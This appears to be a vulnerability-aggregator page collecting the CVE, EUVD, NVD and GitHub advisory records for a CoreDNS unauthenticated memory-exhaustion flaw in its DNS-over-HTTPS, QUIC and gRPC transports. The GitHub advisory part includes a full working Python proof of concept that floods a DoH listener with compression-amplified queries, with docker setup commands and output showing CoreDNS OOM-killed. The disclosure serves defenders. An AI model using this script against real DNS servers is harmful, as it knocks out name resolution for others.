CoreDNS: Unauthenticated memory exhaustion in custom transports
Exploitation and risk
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cve-program · CVE-2026-82399
PublishedCoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.
- Source published
- 16 Sep 2026 18:37:55 UTC
- Source modified
- 18 Sep 2026 18:19:57 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-80987
PublishedCoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.
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EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Sep 16, 2026, 6:37:55 PM
dateUpdated: Sep 18, 2026, 6:19:57 PM
- Source published
- Sep 16, 2026, 6:37:55 PM (timezone not stated)
- Source modified
- Sep 18, 2026, 6:19:57 PM (timezone not stated)
- Saved here
- 11 Nov 2026 16:11:00 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2026-82399
PublishedCoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-770
Original publisher date fields
published: 2026-09-16T19:17:44.627
lastModified: 2026-09-24T21:16:28.120
- Source published
- 16 Sep 2026 19:17:44 UTC
- Source modified
- 24 Sep 2026 21:16:28 UTC
- Saved here
- 25 Oct 2026 16:19:10 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-mrg3-qvqr-jw29
Published### Summary CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS. ### Details The affected request paths call `dns.Msg.Unpack` directly: - [DoH POST and GET decoding](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155). DoH3 uses the same decoder. - [DoQ stream handling](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219). - [DNS-over-gRPC query handling](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184). This differs from the [miekg/dns](https://github.com/miekg/dns) UDP and TCP server. Its [`serveDNS`](https://github.com/miekg/dns/blob/v1.1.72/server.go#L628-L643) path decodes the fixed 12-byte header and invokes [`DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) before unpacking the DNS sections. The default policy rejects requests unless `QDCOUNT` is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation. Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply `dns.DefaultMsgAcceptFunc` to the fixed header before calling `Msg.Unpack` in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers. ### PoC The PoC runs against the DoH server. Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback. Save this as `Corefile.cd01`: ```text https://.:8053 { tls /cert.pem /key.pem whoami } ``` Save this standard-library client as `poc-cd01.py`: ```python #!/usr/bin/env python3 import argparse import concurrent.futures from collections import Counter import http.client import ssl import struct def normal_query(): header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1) return header + question, 1 def attack_query(): message = bytearray(65535) offset = 12 name_offset = offset for size in (63, 63, 63, 61): message[offset] = size offset += 1 message[offset : offset + size] = b"\x01" * size offset += size message[offset] = 0 offset += 1 struct.pack_into("!HH", message, offset, 1, 1) offset += 4 questions = 1 while offset + 6 <= len(message): struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1) offset += 6 questions += 1 struct.pack_into( "!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0 ) return bytes(message[:offset]), questions def send(payload): context = ssl._create_unverified_context() connection = http.client.HTTPSConnection( "127.0.0.1", 18053, timeout=3, context=context ) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() response.read() return f"http-{response.status}" except Exception: return "error" finally: connection.close() def main(): parser = argparse.ArgumentParser() parser.add_argument("--normal", action="store_true") parser.add_argument("--workers", type=int, default=1) args = parser.parse_args() payload, questions = normal_query() if args.normal else attack_query() print( f"payload={len(payload)} questions={questions} workers={args.workers}" ) with concurrent.futures.ThreadPoolExecutor(args.workers) as pool: results = pool.map(send, [payload] * args.workers) print(Counter(results)) if __name__ == "__main__": main() ``` Build the Linux binary and container image: ```sh GOCACHE=/tmp/coredns-gocache \ GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \ go build -tags=grpcnotrace -o coredns . docker build --tag coredns-cd01:vulnerable . ``` Start CoreDNS with a 64 MiB memory and swap limit: ```sh docker run --detach --name coredns-cd01 \ --memory 64m --memory-swap 64m \ --publish 127.0.0.1:18053:8053/tcp \ --volume "$PWD/Corefile.cd01:/Corefile:ro" \ --volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \ --volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \ coredns-cd01:vulnerable -conf /Corefile ``` Confirm that the listener works and that one malicious request is accepted: ```console $ python3 poc-cd01.py --normal payload=29 questions=1 workers=1 Counter({'http-200': 1}) $ python3 poc-cd01.py payload=65533 questions=10878 workers=1 Counter({'http-200': 1}) ``` Send 32 malicious requests concurrently and inspect the container: ```console $ python3 poc-cd01.py --workers 32 payload=65533 questions=10878 workers=32 Counter({'error': 32}) $ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01 exited OOMKilled=true ExitCode=137 ``` `OOMKilled=true` confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error. ### Impact This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking. In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service. CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.
- Source published
- 17 Sep 2026 20:32:27 UTC
- Source modified
- 28 Sep 2026 17:10:57 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH
osv · GO-2026-6507
PublishedCoreDNS: Unauthenticated memory exhaustion in custom transports in github.com/coredns/coredns
- Source published
- 28 Sep 2026 16:43:40 UTC
- Source modified
- 28 Sep 2026 17:00:17 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.